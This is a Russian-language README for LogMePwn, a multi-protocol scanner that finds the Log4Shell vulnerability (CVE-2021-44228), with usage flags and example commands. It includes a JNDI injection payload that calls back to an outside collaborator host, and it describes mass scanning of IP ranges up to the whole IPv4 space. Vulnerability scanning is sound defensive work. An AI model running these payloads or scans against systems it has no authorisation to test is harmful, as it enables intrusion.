
Полностью автоматизированный, надежный, сверхбыстрый набор инструментов для сканирования и проверки уязвимости Log4J RCE CVE-2021-44228.
LogMePwn — это полностью автоматизированный, мультипротокольный, надежный, сверхбыстрый инструмент для сканирования и проверки уязвимости Log4J RCE CVE-2021-44228.

LogMePwn использует Canary Tokens, которые, в свою очередь, отправляют уведомления по электронной почте или через вебхуки на предпочитаемый вами канал связи. Если у вас есть собственный callback-сервер, вы также можете его использовать!
Чтобы воспользоваться инструментом, вы можете скачать бинарный файл из раздела Releases в соответствии с вашей платформой и использовать его. Если вы хотите собрать инструмент самостоятельно, вам понадобится Go версии не ниже 1.13. Просто клонируйте репозиторий и выполните go build.
Вот базовое использование инструмента:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
НОВОЕ: Эта функция появилась в версии v2.0.
В последней версии добавлена поддержка нескольких протоколов. На данный момент доступно 4 протокола:
Если вы не укажете протокол через аргумент -protocol, инструмент запустит все плагины для каждого поддерживаемого протокола на наборе портов по умолчанию.
См. как контролировать порты для каждого протокола.
Пример:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # сканирует все протоколы на портах по умолчанию
Цели можно указать двумя способами: через интерфейс командной строки в качестве аргументов или через файл.
НОВОЕ: Теперь вы также можете передавать CIDR-диапазоны для сканирования! Эта функция появилась в версии v1.1.
Пример:
./lmp <другие аргументы> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <другие аргументы> -file internet-ranges.lst
./lmp <другие аргументы> 192.168.0.0/26 1.2.3.4/30
Каждый протокол имеет список поддерживаемых портов по умолчанию, которые можно настроить с помощью следующих флагов:
-http-ports для HTTP.-imap-ports для IMAP.-ssh-ports для SSH.-ftp-ports для FTP.Если пользователь указывает пару хост+порт в формате host:port, список портов по умолчанию отбрасывается, и все проверки выполняются для этого конкретного порта. Если -protocol не указан, все плагины протоколов будут протестированы на одном и том же порту.
Эта функция появилась в версии v1.1.
Вы можете указать полезную нагрузку напрямую через аргумент -payload. Однако если вы хотите включить в полезную нагрузку DNS-имя тестируемого хоста, вы можете указать форматирующую директиву $DNSNAME$, которая будет заменена на цель, для которой выполняется тестирование.
Например, если вы выполните команду:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Тогда при отправке HTTP-запроса к URL полезная нагрузка будет выглядеть так:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Эта функция поможет вам определить, какие хосты уязвимы при фаззинге «чёрного ящика».
Вы также можете указать файл, содержащий несколько вариантов полезной нагрузки, используя тот же аргумент (см. payloads-sample.txt). Пример:
./lmp -payload payloads-sample.txt vulnerable.site.com
ПРИМЕЧАНИЕ: Эта функция не работает с Canary Tokens. Canarytokens не поддерживает пользовательские DNS-форматы.
ПРИМЕЧАНИЕ: Если вы указываете пользовательскую полезную нагрузку с помощью
-payload, указывать канал уведомлений НЕ обязательно. Полезная нагрузка сама должна содержать ваш callback-сервер.
Каналами уведомлений могут быть:
-email)-webhook)-custom-server)Инструмент использует Canary Tokens; вы можете создать его здесь или позволить инструменту создать токен за вас. Если инструмент создаст токен, он будет записан в файл с именем canarytoken-logmepwn.json, который будет содержать сам токен и ключ авторизации (оба понадобятся для просмотра триггеров через веб-интерфейс).
Если у вас уже есть токен, вы можете использовать аргумент -token, чтобы использовать его напрямую и не создавать новый.
ПРИМЕЧАНИЕ: Если вы укажете электронную почту или вебхук, инструмент создаст пользовательский canary-токен. Если вы используете собственный callback-сервер, токены не используются.
Инструмент предоставляет большую гибкость при отправке запросов. По умолчанию используются GET-запросы. Используется набор заголовков по умолчанию, каждый из которых содержит полезную нагрузку в своём значении. Вы можете указать пользовательский набор заголовков через аргумент -headers. Используйте флаг -headers-file, чтобы указать файл со списком заголовков. Примеры:
./lmp <другие аргументы> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <другие аргументы> -headers-file headers.txt 1.2.3.4:8080
Вы можете указать список HTTP-методов для сканирования с помощью флага -methods. Для запросов, содержащих тело (например, POST, PUT и т.д.), вы можете настроить содержимое тел.
По умолчанию инструмент отправляет полезную нагрузку непосредственно в теле. Инструмент предлагает следующие возможности настройки тела:
-json, чтобы тело запроса было типа JSON.-xml для формата XML.-fbody для указания пользовательской форматной строки, в которую будет вставлена полезная нагрузка. Это позволяет создавать сложные запросы при тестировании. Например, если вы хотите отправить содержимое в формате HTML, это может выглядеть так:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
Вы можете указать пользовательское значение заголовка User-Agent с помощью флага -user-agent.
Инструмент оптимизирован для сканирования широкого круга целей. При достаточной пропускной способности сети и аппаратном обеспечении вы можете просканировать всё IPv4-пространство за один день. Количество одновременных потоков по умолчанию установлено на 10 (оптимизировано для надёжности на локальном оборудовании). Значение может достигать тысяч (задачу бенчмаркинга я оставляю вам). :)
Используйте флаг -threads, чтобы указать количество потоков для работы инструмента.
Поскольку задействовано много HTTP-запросов, удалённому хосту может быть трудно их обработать. Параметр -delay предназначен для таких случаев. Вы можете указать задержку в секундах — она будет использоваться между двумя последовательными запросами к одному и тому же порту на сервере.
Для демонстрации сканера я использую уязвимую настройку от @christophetd с помощью docker:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Затем я запускаю инструмент против этой настройки:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

Что немедленно вызвало несколько DNS-запросов, видимых как на странице истории токена, так и в моей электронной почте:

Обновления в версии v2.0:
Обновления в версии v1.1:
Не стесняйтесь обращаться ко мне в Twitter или создавать issue/PR.
Инструмент распространяется под лицензией GNU GPLv3. LogMePwn в настоящее время имеет версию v2.0.
Отдельное спасибо команде Thinkst Canary за их замечательный проект Canary Tokens.
Сделано с ♡ Pinaki (@0xInfection).